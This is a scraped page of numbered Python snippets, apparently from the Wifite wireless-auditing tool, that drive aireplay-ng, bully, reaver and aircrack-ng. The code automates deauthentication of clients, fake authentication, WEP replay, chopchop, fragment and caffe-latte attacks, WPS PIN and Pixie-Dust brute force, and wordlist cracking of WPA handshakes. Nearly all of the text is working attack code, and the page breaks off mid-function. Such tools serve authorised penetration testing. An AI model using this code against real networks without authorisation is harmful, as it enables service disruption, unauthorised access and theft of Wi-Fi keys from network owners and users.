                result.append(target)
            elif skip_wps:
                result.append(target)

        # Filter based on BSSID/ESSID
        bssid = Configuration.target_bssid
        essid = Configuration.target_essid
        i = 0
        while i < len(result):
            if bssid and result[i].bssid.lower() != bssid.lower():
                result.pop(i)
            elif essid and result[i].essid and result[i].essid.lower(
            ) != essid.lower():
                result.pop(i)
            else:
                i += 1
        return result

    def deauth_hidden_targets(self):
        '''
            Sends deauths (to broadcast and to each client) for all
            targets (APs) that have unknown ESSIDs (hidden router names).
        '''
        self.decloaking = False

        # Do not deauth if requested
        if Configuration.no_deauth: return

        # Do not deauth if channel is not fixed.
        if self.channel is None: return

        # Reusable deauth command
        deauth_cmd = [
            'aireplay-ng',
            '-0',  # Deauthentication
            str(Configuration.num_deauths),  # Number of deauth packets to send
            '--ignore-negative-one'
        ]
        for target in self.targets:
            if target.essid_known: continue
            now = int(time.time())
            secs_since_decloak = now - self.decloaked_times.get(
                target.bssid, 0)
            # Decloak every AP once every 30 seconds
            if secs_since_decloak < 30: continue
            self.decloaking = True
            self.decloaked_times[target.bssid] = now
            if Configuration.verbose > 1:
                from Color import Color
                verbout = " [?] Deauthing %s" % target.bssid
                verbout += " (broadcast & %d clients)" % len(target.clients)
                Color.pe("\n{C}" + verbout + "{W}")
            # Deauth broadcast
            iface = Configuration.interface
            Process(deauth_cmd + ['-a', target.bssid, iface])
            # Deauth clients
            for client in target.clients:
                Process(deauth_cmd +
                        ['-a', target.bssid, '-c', client.bssid, iface])
Пример #13
0
class Aireplay(object):
    def __init__(self, target, attack_type, client_mac=None, replay_file=None):
        '''
            Starts aireplay process.
            Args:
                target - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac - MAC address of an associated client.
        '''
        cmd = Aireplay.get_aireplay_command(target,
                                            attack_type,
                                            client_mac=client_mac,
                                            replay_file=replay_file)

        # TODO: set 'stdout' when creating process to store output to file.
        # AttackWEP will read file to get status of attack.
        # E.g., chopchop will regex "(\d+)% done" to get percent complete.
        '''
        from subprocess import PIPE
        sout = PIPE
        if '--chopchop' in cmd:
            sout = open(Configuration.temp('chopchop'), 'w')
        '''

        self.pid = Process(cmd,
                           devnull=False,
                           cwd=Configuration.temp())

    def is_running(self):
        return self.pid.poll() == None

    def stop(self):
        ''' Stops aireplay process '''
        if self.pid and self.pid.poll() != None:
            self.pid.interrupt()

    def get_output(self):
        ''' Returns stdout from aireplay process '''
        return self.pid.stdout()

    @staticmethod
    def get_aireplay_command(target, attack_type,
                             client_mac=None, replay_file=None):
        '''
            Generates aireplay command based on target and attack type
            Args:
                target      - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac  - MAC address of an associated client.
                replay_file - .Cap file to replay via --arpreplay
        '''

        # Interface is required at this point
        Configuration.initialize()
        if Configuration.interface == None:
            raise Exception("Wireless interface must be defined (-i)")
            
        cmd = ['aireplay-ng']
        cmd.append('--ignore-negative-one')

        if not client_mac and len(target.clients) > 0:
            # Client MAC wasn't specified, but there's an associated client. Use that.
            client_mac = target.clients[0].station

        # type(attack_type) might be str, int, or WEPAttackType.
        # Find the appropriate attack enum.
        attack_type = WEPAttackType(attack_type).value

        if attack_type == WEPAttackType.fakeauth:
            cmd.extend(['-1', '0']) # Fake auth, no delay
            cmd.extend(['-a', target.bssid])
            cmd.extend(['-T', '3']) # Make 3 attempts
            if target.essid_known:
                cmd.extend(['-e', target.essid])
            # Do not specify client MAC address,
            # we're trying to fake-authenticate using *our* MAC

        elif attack_type == WEPAttackType.replay:
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.chopchop:
            cmd.append('--chopchop')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '60']) # Minimum packet length (bytes)
            cmd.extend(['-n', '82']) # Maximum packet length
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.fragment:
            cmd.append('--fragment')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-m', '100']) # Minimum packet length (bytes)
            cmd.extend(['-F'])       # Automatically choose first packet
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.caffelatte:
            cmd.append('--caffe-latte')
            cmd.extend(['-b', target.bssid])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.p0841:
            cmd.append('--interactive')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff'])
            cmd.extend(['-t', '1'])
            cmd.extend(['-x', str(Configuration.wep_pps)])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-p', '0841'])
            if client_mac:
                cmd.extend(['-h', client_mac])

        elif attack_type == WEPAttackType.hirte:
            if client_mac == None:
                # Unable to carry out hirte attack
                raise Exception("Client is required for hirte attack")
            cmd.append('--cfrag')
            cmd.extend(['-h', client_mac])
        elif attack_type == WEPAttackType.forgedreplay:
            if client_mac == None or replay_file == None:
                raise Exception(
                    "Client_mac and Replay_File are required for arp replay")
            cmd.append('--arpreplay')
            cmd.extend(['-b', target.bssid])
            cmd.extend(['-r', replay_file])
            cmd.extend(['-F']) # Automatically choose first packet
            cmd.extend(['-x', str(Configuration.wep_pps)])
        else:
            raise Exception("Unexpected attack type: %s" % attack_type)

        cmd.append(Configuration.interface)
        return cmd

    @staticmethod
    def get_xor():
        ''' Finds the last .xor file in the directory '''
        xor = None
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith('replay_') and fil.endswith('.xor'):
                xor = fil
        return xor

    @staticmethod
    def forge_packet(xor_file, bssid, station_mac):
        ''' Forges packet from .xor file '''
        forged_file = 'forged.cap'
        cmd = [
            'packetforge-ng',
            '-0',
            '-a', bssid,           # Target MAC
            '-h', station_mac,     # Client MAC
            '-k', '192.168.1.2',   # Dest IP
            '-l', '192.168.1.100', # Source IP
            '-y', xor_file,        # Read PRNG from .xor file
            '-w', forged_file,     # Write to
            Configuration.interface
        ]

        cmd = '"%s"' % '" "'.join(cmd)
        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
        if out.strip() == 'Wrote packet to: %s' % forged_file:
            return forged_file
        else:
            from Color import Color
            Color.pl('{!} {R}failed to forge packet from .xor file{W}')
            Color.pl('output:\n"%s"' % out)
            return None
Пример #14
0
class Bully(Attack):
    def __init__(self, target, pixie=False):
        super(Bully, self).__init__(target)
        self.consecutive_lockouts = self.consecutive_timeouts = self.consecutive_noassoc = 0
        self.pins_attempted = 0
        self.state = "{O}Waiting for beacon{W}"
        self.m_state = None
        self.start_time = time.time()

        self.cracked_pin = self.cracked_key = self.cracked_bssid = self.cracked_essid = None
        self.crack_result = None

        self.target = target
        self.pixie = pixie

        self.cmd = [
            "stdbuf", "-o0", # No buffer. See https://stackoverflow.com/a/40453613/7510292
            "bully",
            "--bssid", target.bssid,
            "--channel", target.channel,
            "--detectlock", # Detect WPS lockouts unreported by AP
            "--force",
            "-v", "4"
        ]
        #self.cmd.extend(["-p", "80246212", "--force", "--bruteforce"])
        if self.pixie:
            self.cmd.append("--pixiewps")
        self.cmd.append(Configuration.interface)

        self.bully_proc = None
        self.run()
        self.stop()

    def attack_type(self):
        return "Pixie-Dust" if self.pixie else "PIN Attack"

    def run(self):
        with Airodump(channel=self.target.channel,
                      target_bssid=self.target.bssid,
                      skip_wash=True,
                      output_file_prefix='wps_pin') as airodump:
            # Wait for target
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "Waiting for target to appear...")
            self.target = self.wait_for_target(airodump)

            # Start bully
            self.bully_proc = Process(self.cmd,
                stderr=Process.devnull(),
                bufsize=0,
                cwd=Configuration.temp())
            t = Thread(target=self.parse_line_thread)
            t.daemon = True
            t.start()
            try:
                while self.bully_proc.poll() is None:
                    try:
                        self.target = self.wait_for_target(airodump)
                    except Exception as e:
                        Color.clear_entire_line()
                        Color.pattack("WPS",
                                self.target,
                                self.attack_type(),
                                "{R}failed: {O}%s{W}" % e)
                        Color.pl("")
                        self.stop()
                        break
                    Color.clear_entire_line()
                    Color.pattack("WPS",
                            self.target,
                            self.attack_type(),
                            self.get_status())
                    time.sleep(0.5)
            except KeyboardInterrupt as e:
                self.stop()
                raise e
            except Exception as e:
                self.stop()
                raise e

        if self.crack_result is None:
            Color.clear_entire_line()
            Color.pattack("WPS",
                    self.target,
                    self.attack_type(),
                    "{R}Failed{W}\n")

    def running_time(self):
        return int(time.time() - self.start_time)

    def get_status(self):
        result = self.state
        result += " ({C}runtime:%s{W}" % Timer.secs_to_str(self.running_time())
        result += " {G}tries:%d{W}" % self.pins_attempted
        result += " {O}failures:%d{W}" % (self.consecutive_timeouts + self.consecutive_noassoc)
        result += " {R}lockouts:%d{W}" % self.consecutive_lockouts
        result += ")"
        return result

    def parse_line_thread(self):
        for line in iter(self.bully_proc.pid.stdout.readline, b""):
            if line == "": continue
            line = line.replace("\r", "").replace("\n", "").strip()
            if self.parse_line(line): break # Cracked

    def parse_line(self, line):
        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
        got_beacon = re.compile(r".*Got beacon for '(.*)' \((.*)\)").match(line)
        if got_beacon:
            # group(1)=ESSID, group(2)=BSSID
            self.state = "Got beacon"

        # [+] Last State = 'NoAssoc'   Next pin '48855501'
        last_state = re.compile(r".*Last State = '(.*)'\s*Next pin '(.*)'").match(line)
        if last_state:
            # group(1)=result, group(2)=PIN
            result = "Start" # last_state.group(1)
            pin = last_state.group(2)
            self.state = "Trying PIN:{C}%s{W}" % pin

        # [+] Rx(  M5  ) = 'Pin1Bad'   Next pin '35565505'
        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
        rx_m = re.compile(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'").match(line)
        if rx_m:
            # group(1)=M3/M5, group(2)=result, group(3)=PIN
            self.m_state = rx_m.group(1)
            result = rx_m.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
            if result in ["Pin1Bad", "Pin2Bad"]:
                self.pins_attempted += 1
                self.consecutive_lockouts = 0 # Reset lockout count
                self.consecutive_timeouts = 0 # Reset timeout count
                self.consecutive_noassoc = 0 # Reset timeout count
                result = "{G}%s{W}" % result
            elif result == "Timeout":
                self.consecutive_timeouts += 1
                result = "{O}%s{W}" % result
            elif result == "NoAssoc":
                self.consecutive_noassoc += 1
                result = "{O}%s{W}" % result
            else:
                result = "{R}%s{W}" % result
            pin = rx_m.group(3)
            self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)

        # [!] WPS lockout reported, sleeping for 43 seconds ...
        lock_out = re.compile(r".*WPS lockout reported, sleeping for (\d+) seconds").match(line)
        if lock_out:
            sleeping = lock_out.group(1)
            self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
            self.consecutive_lockouts += 1

        # [Pixie-Dust] WPS pin not found
        pixie_re = re.compile(r".*\[Pixie-Dust\] WPS pin not found").match(line)
        if pixie_re:
            self.state = "{R}Failed{W}"


        # [+] Running pixiewps with the information, wait ...
        pixie_re = re.compile(r".*Running pixiewps with the information").match(line)
        if pixie_re:
            self.state = "{G}Running pixiewps...{W}"

        # [*] Pin is '80246213', key is 'password'
        pin_key_re = re.compile(r"^\s*Pin is '(\d*)', key is '(.*)'\s*$").match(line)
        if pin_key_re:
            self.cracked_pin = pin_key_re.group(1)
            self.cracked_key = pin_key_re.group(2)

        #        PIN   : '80246213'
        pin_re = re.compile(r"^\s*PIN\s*:\s*'(.*)'\s*$").match(line)
        if pin_re: self.cracked_pin = pin_re.group(1)

        #        KEY   : 'password'
        key_re = re.compile(r"^\s*KEY\s*:\s*'(.*)'\s*$").match(line)
        if key_re: self.cracked_key = key_re.group(1)

        #warn_re = re.compile(r"\[\!\]\s*(.*)$").match(line)
        #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)

        if not self.crack_result and self.cracked_pin and self.cracked_key:
            Color.clear_entire_line()
            Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
            self.crack_result = CrackResultWPS(
                    airodump_target.essid,
                    airodump_target.bssid,
                    self.cracked_pin,
                    self.cracked_key)
            return True
        else:
            return False

    def stop(self):
        if hasattr(self, "pid") and self.pid and self.pid.poll() == None:
            self.pid.interrupt()

    def __del__(self):
        self.stop()
Пример #15
0
class Aireplay(Thread):
    def __init__(self, target, attack_type, client_mac=None, replay_file=None):
        '''
            Starts aireplay process.
            Args:
                target - Instance of Target object, AP to attack.
                attack_type - str, e.g. "fakeauth", "arpreplay", etc.
                client_mac - MAC address of an associated client.
        '''
        super(Aireplay, self).__init__()  # Init the parent Thread

        self.target = target
        self.output_file = Configuration.temp("aireplay_%s.output" %
                                              attack_type)
        self.attack_type = WEPAttackType(attack_type).value
        self.error = None
        self.status = None
        self.cmd = Aireplay.get_aireplay_command(self.target,
                                                 attack_type,
                                                 client_mac=client_mac,
                                                 replay_file=replay_file)
        self.pid = Process(self.cmd,
                           stdout=open(self.output_file, 'a'),
                           stderr=Process.devnull(),
                           cwd=Configuration.temp())
        self.start()

    def is_running(self):
        return self.pid.poll() is None

    def stop(self):
        ''' Stops aireplay process '''
        if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
            self.pid.interrupt()

    def get_output(self):
        ''' Returns stdout from aireplay process '''
        return self.pid.stdout()

    def run(self):
        while self.pid.poll() is None:
            time.sleep(0.1)
            if not os.path.exists(self.output_file): continue
            # Read output file & clear output file
            with open(self.output_file, "r+") as fid:
                lines = fid.read()
                fid.seek(0)
                fid.truncate()
            for line in lines.split("\n"):
                line = line.replace("\r", "").strip()
                if line == "": continue
                if "Notice: got a deauth/disassoc packet" in line:
                    self.error = "Not associated (needs fakeauth)"

                if self.attack_type == WEPAttackType.fakeauth:
                    # Look for fakeauth status. Potential Output lines:
                    # (START): 00:54:58  Sending Authentication Request (Open System)
                    if "Sending Authentication Request " in line:
                        self.status = None  # Reset
                    # (????):  Please specify an ESSID (-e).
                    elif "Please specify an ESSID" in line:
                        self.status = None
                    # (FAIL):  00:57:43  Got a deauthentication packet! (Waiting 3 seconds)
                    elif "Got a deauthentication packet!" in line:
                        self.status = False
                    # (PASS):  20:17:25  Association successful :-) (AID: 1)
                    # (PASS):  20:18:55  Reassociation successful :-) (AID: 1)
                    elif "association successful :-)" in line.lower():
                        self.status = True
                elif self.attack_type == WEPAttackType.chopchop:
                    # Look for chopchop status. Potential output lines:
                    # (START)  Read 178 packets...
                    read_re = re.compile(r"Read (\d+) packets")
                    matches = read_re.match(line)
                    if matches:
                        self.status = "Waiting for packet (read %s)..." % matches.group(
                            1)
                    # (DURING) Offset   52 (54% done) | xor = DE | pt = E0 |  152 frames written in  2782ms
                    offset_re = re.compile(r"Offset.*\(\s*(\d+%) done\)")
                    matches = offset_re.match(line)
                    if matches:
                        self.status = "Generating Xor (%s)" % matches.group(1)
                    # (DONE)   Saving keystream in replay_dec-0516-202246.xor
                    saving_re = re.compile(r"Saving keystream in (.*\.xor)")
                    matches = saving_re.match(line)
                    if matches:
                        self.status = matches.group(1)
                    pass
                elif self.attack_type == WEPAttackType.fragment:
                    # TODO: Parse fragment output, update self.status
                    # 01:08:15  Waiting for a data packet...
                    # 01:08:17  Sending fragmented packet
                    # 01:08:37  Still nothing, trying another packet...
                    # XX:XX:XX  Trying to get 1500 bytes of a keystream
                    # XX:XX:XX  Got RELAYED packet!!
                    # XX:XX:XX  Thats our ARP packet!
                    # XX:XX:XX  Saving keystream in fragment-0124-161129.xor
                    # XX:XX:XX  Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
                    pass
                else:  # Replay, forged replay, etc.
                    # Parse Packets Sent & PacketsPerSecond. Possible output lines:
                    # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
                    # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
                    read_re = re.compile(
                        r"Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)"
                    )
                    matches = read_re.match(line)
                    if matches:
                        pps = matches.group(5)
                        if pps == "0":
                            self.status = "Waiting for packet..."
                        else:
                            self.status = "Replaying packet @ %s/sec" % pps
                    pass

    def __del__(self):
        self.stop()

    @staticmethod
    def get_aireplay_command(target,
                             attack_type,
                             client_mac=None,
                             replay_file=None):
        '''
            Generates aireplay command based on target and attack type
            Args:
                target      - Instance of Target object, AP to attack.
                attack_type - int, str, or WEPAttackType instance.
                client_mac  - MAC address of an associated client.
                replay_file - .Cap file to replay via --arpreplay
        '''

        # Interface is required at this point
        Configuration.initialize()
        if Configuration.interface is None:
            raise Exception("Wireless interface must be defined (-i)")

        cmd = ["aireplay-ng"]
        cmd.append("--ignore-negative-one")

        if not client_mac and len(target.clients) > 0:
            # Client MAC wasn't specified, but there's an associated client. Use that.
            client_mac = target.clients[0].station

        # type(attack_type) might be str, int, or WEPAttackType.
        # Find the appropriate attack enum.
        attack_type = WEPAttackType(attack_type).value

        if attack_type == WEPAttackType.fakeauth:
            cmd.extend([
                "--fakeauth",
                "30",  # Fake auth every 30 seconds
                "-Q",  # Send re-association packets
                "-a",
                target.bssid
            ])
            if target.essid_known:
                cmd.extend(["-e", target.essid])
        elif attack_type == WEPAttackType.replay:
            cmd.extend([
                "--arpreplay", "-b", target.bssid, "-x",
                str(Configuration.wep_pps)
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.chopchop:
            cmd.extend([
                "--chopchop",
                "-b",
                target.bssid,
                "-x",
                str(Configuration.wep_pps),
                #"-m", "60", # Minimum packet length (bytes)
                #"-n", "82", # Maximum packet length
                "-F"  # Automatically choose first packet
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.fragment:
            cmd.extend([
                "--fragment",
                "-b",
                target.bssid,
                "-x",
                str(Configuration.wep_pps),
                "-m",
                "100",  # Minimum packet length (bytes)
                "-F"  # Automatically choose first packet
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.caffelatte:
            if len(target.clients) == 0:
                # Unable to carry out caffe-latte attack
                raise Exception("Client is required for caffe-latte attack")
            cmd.extend([
                "--caffe-latte", "-b", target.bssid, "-h",
                target.clients[0].station
            ])

        elif attack_type == WEPAttackType.p0841:
            cmd.extend([
                "--arpreplay",
                "-b",
                target.bssid,
                "-c",
                "ff:ff:ff:ff:ff:ff",
                "-x",
                str(Configuration.wep_pps),
                "-F",  # Automatically choose first packet
                "-p",
                "0841"
            ])
            if client_mac:
                cmd.extend(["-h", client_mac])

        elif attack_type == WEPAttackType.hirte:
            if client_mac is None:
                # Unable to carry out hirte attack
                raise Exception("Client is required for hirte attack")
            cmd.extend(["--cfrag", "-h", client_mac])
        elif attack_type == WEPAttackType.forgedreplay:
            if client_mac is None or replay_file is None:
                raise Exception(
                    "Client_mac and Replay_File are required for arp replay")
            cmd.extend([
                "--arpreplay",
                "-b",
                target.bssid,
                "-h",
                client_mac,
                "-r",
                replay_file,
                "-F",  # Automatically choose first packet
                "-x",
                str(Configuration.wep_pps)
            ])
        else:
            raise Exception("Unexpected attack type: %s" % attack_type)

        cmd.append(Configuration.interface)
        return cmd

    @staticmethod
    def get_xor():
        ''' Finds the last .xor file in the directory '''
        xor = None
        for fil in os.listdir(Configuration.temp()):
            if fil.startswith('replay_') and fil.endswith('.xor') or \
               fil.startswith('fragment-') and fil.endswith('.xor'):
                xor = fil
        return xor

    @staticmethod
    def forge_packet(xor_file, bssid, station_mac):
        ''' Forges packet from .xor file '''
        forged_file = 'forged.cap'
        cmd = [
            'packetforge-ng',
            '-0',
            '-a',
            bssid,  # Target MAC
            '-h',
            station_mac,  # Client MAC
            '-k',
            '192.168.1.2',  # Dest IP
            '-l',
            '192.168.1.100',  # Source IP
            '-y',
            xor_file,  # Read PRNG from .xor file
            '-w',
            forged_file,  # Write to
            Configuration.interface
        ]

        cmd = '"%s"' % '" "'.join(cmd)
        (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
        if out.strip() == 'Wrote packet to: %s' % forged_file:
            return forged_file
        else:
            from Color import Color
            Color.pl('{!} {R}failed to forge packet from .xor file{W}')
            Color.pl('output:\n"%s"' % out)
            return None

    @staticmethod
    def deauth(target_bssid,
               essid=None,
               client_mac=None,
               num_deauths=None,
               timeout=2):
        num_deauths = num_deauths or Configuration.num_deauths
        deauth_cmd = [
            "aireplay-ng",
            "-0",  # Deauthentication
            str(num_deauths),
            "--ignore-negative-one",
            "-a",
            target_bssid,  # Target AP
            "-D"  # Skip AP detection
        ]
        if client_mac is not None:
            # Station-specific deauth
            deauth_cmd.extend(["-c", client_mac])
        if essid:
            deauth_cmd.extend(["-e", essid])
        deauth_cmd.append(Configuration.interface)
        proc = Process(deauth_cmd)
        while proc.poll() is None:
            if proc.running_time() >= timeout:
                proc.interrupt()
            time.sleep(0.2)

    @staticmethod
    def fakeauth(target, timeout=5, num_attempts=3):
        '''
        Tries a one-time fake-authenticate with a target AP.
        Params:
            target (py.Target): Instance of py.Target
            timeout (int): Time to wait for fakeuth to succeed.
            num_attempts (int): Number of fakeauth attempts to make.
        Returns:
            (bool): True if fakeauth succeeds, otherwise False
        '''

        cmd = [
            'aireplay-ng',
            '-1',
            '0',  # Fake auth, no delay
            '-a',
            target.bssid,
            '-T',
            str(num_attempts)
        ]
        if target.essid_known:
            cmd.extend(['-e', target.essid])
        cmd.append(Configuration.interface)
        fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp())

        timer = Timer(timeout)
        while fakeauth_proc.poll() is None and not timer.ended():
            time.sleep(0.1)
        if fakeauth_proc.poll() is None or timer.ended():
            fakeauth_proc.interrupt()
            return False
        output = fakeauth_proc.stdout()
        return 'association successful' in output.lower()
Пример #16
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i', Configuration.interface,
            '-b', self.target.bssid,
            '-c', self.target.channel,
            '-K', '1', # pixie-dust attack
            '-a', # Automatically restart session
            '-vv' # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())

        pin = None
        step = '0) initializing'
        time_since_last_step = 0

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            last_step = step
            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
                step = '({C}step 2/8{W}) waiting to start session'
            elif 'Starting Cracking Session.' in stdout_last_line:
                step = '({C}step 3/8{W}) waiting to try pin'
            elif 'Trying pin' in stdout_last_line:
                step = '({C}step 4/8{W}) trying pin'
            elif 'Sending EAPOL START request' in stdout_last_line:
                step = '({C}step 5/8{W}) sending eapol start request'
            elif 'Sending identity response' in stdout_last_line:
                step = '({C}step 6/8{W}) sending identity response'
            elif 'Sending M2 message' in stdout_last_line:
                step = '({C}step 7/8{W}) sending m2 message (may take a while)'
            elif 'Detected AP rate limiting,' in stdout_last_line:
                if Configuration.wps_skip_rate_limit:
                    Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
                    Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
                             ' this kind of failure in the future{W}')
                    break
                step = '({C}step -/8{W}) waiting for AP rate limit'

            if 'WPS pin not found' in stdout:
                Color.pl('{R}failed: {O}WPS pin not found{W}')
                break

            if step != last_step:
                # Step changed, reset step timer
                time_since_last_step = 0
            else:
                time_since_last_step += 1

            if time_since_last_step > Configuration.wps_pixie_step_timeout:
                Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
                break

            # TODO: Timeout check
            if reaver.running_time() > Configuration.wps_pixie_timeout:
                Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
                break

            # Reaver Failure/Timeout check
            fail_count = stdout.count('WPS transaction failed')
            if fail_count > Configuration.wps_fail_threshold:
                Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
                break
            timeout_count = stdout.count('Receive timeout occurred')
            if timeout_count > Configuration.wps_timeout_threshold:
                Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
                break

            # Display status of Pixie-Dust attack
            Color.p('{W}%s{W}' % step)

            continue

        # Attack failed, already printed reason why
        reaver.interrupt()
        stdout_write.close()
        return False
Пример #17
0
    def crack_handshake(self, handshake, wordlist):
        '''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
        if wordlist is None:
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist ({R}--dict{O}) is not set")
            return None
        elif not os.path.exists(wordlist):
            Color.pl("{!} {O}Not cracking handshake because" +
                     " wordlist {R}%s{O} was not found" % wordlist)
            return None

        Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
                " {C}%s{W} wordlist" % os.path.split(wordlist)[-1])

        key_file = Configuration.temp('wpakey.txt')
        command = [
            "aircrack-ng",
            "-a", "2",
            "-w", wordlist,
            "--bssid", handshake.bssid,
            "-l", key_file,
            handshake.capfile
        ]
        crack_proc = Process(command)

        # Report progress of cracking
        aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
        aircrack_key_re  = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
        num_tried = num_total = 0
        percent = num_kps = 0.0
        eta_str = "unknown"
        current_key = ''
        while crack_proc.poll() is None:
            line = crack_proc.pid.stdout.readline()
            match_nums = aircrack_nums_re.search(line)
            match_keys = aircrack_key_re.search(line)
            if match_nums:
                num_tried = int(match_nums.group(1))
                num_total = int(match_nums.group(2))
                num_kps = float(match_nums.group(3))
                eta_seconds = (num_total - num_tried) / num_kps
                eta_str = Timer.secs_to_str(eta_seconds)
                percent = 100.0 * float(num_tried) / float(num_total)
            elif match_keys:
                current_key = match_keys.group(1)
            else:
                continue

            status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
            status += " ETA: {C}%s{W}" % eta_str
            status += " @ {C}%0.1fkps{W}" % num_kps
            #status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
            status += " (current key: {C}%s{W})" % current_key
            Color.clear_entire_line()
            Color.p(status)

        Color.pl("")
        # Check crack result
        if os.path.exists(key_file):
            f = open(key_file, "r")
            key = f.read().strip()
            f.close()
            os.remove(key_file)

            Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
            return key
        else:
            Color.pl("{!} {R}Failed to crack handshake:" +
                     " {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
            return None
Пример #18
0
    def run_pixiedust_attack(self):
        # Write reaver stdout to file.
        self.stdout_file = Configuration.temp('reaver.out')
        if os.path.exists(self.stdout_file):
            os.remove(self.stdout_file)

        command = [
            'reaver',
            '-i',
            Configuration.interface,
            '-b',
            self.target.bssid,
            '-c',
            self.target.channel,
            '-K',
            '1',  # pixie-dust attack
            '-a',  # Automatically restart session
            '-vv'  # (very) verbose
        ]

        stdout_write = open(self.stdout_file, 'a')

        reaver = Process(command,
                         stdout=stdout_write,
                         stderr=Process.devnull())

        pin = None
        step = '0) initializing'

        while True:
            time.sleep(1)
            Color.clear_line()
            Color.p('\r{+} {C}WPS pixie-dust attack{W} ')

            stdout_write.flush()

            # Check output from reaver process
            stdout = self.get_stdout()
            stdout_last_line = stdout.split('\n')[-1]

            (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)

            # Check if we cracked it, or if process stopped.
            if (pin and psk and ssid) or reaver.poll() != None:
                reaver.interrupt()

                # Check one-last-time for PIN/PSK/SSID, in case of race condition.
                stdout = self.get_stdout()
                (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)

                # Check if we cracked it.
                if pin and psk and ssid:
                    # We cracked it.
                    bssid = self.target.bssid
                    Color.pl(
                        '\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
                    self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
                    self.crack_result.dump()
                    return True
                else:
                    # Failed to crack, reaver proces ended.
                    Color.pl('{R}failed: {O}WPS pin not found{W}')
                    return False

            # Status updates, depending on last line of stdout
            if 'Waiting for beacon from' in stdout_last_line:
                step = '({C}step 1/8{W}) waiting for beacon'
            elif 'Associated with' in stdout_last_line:
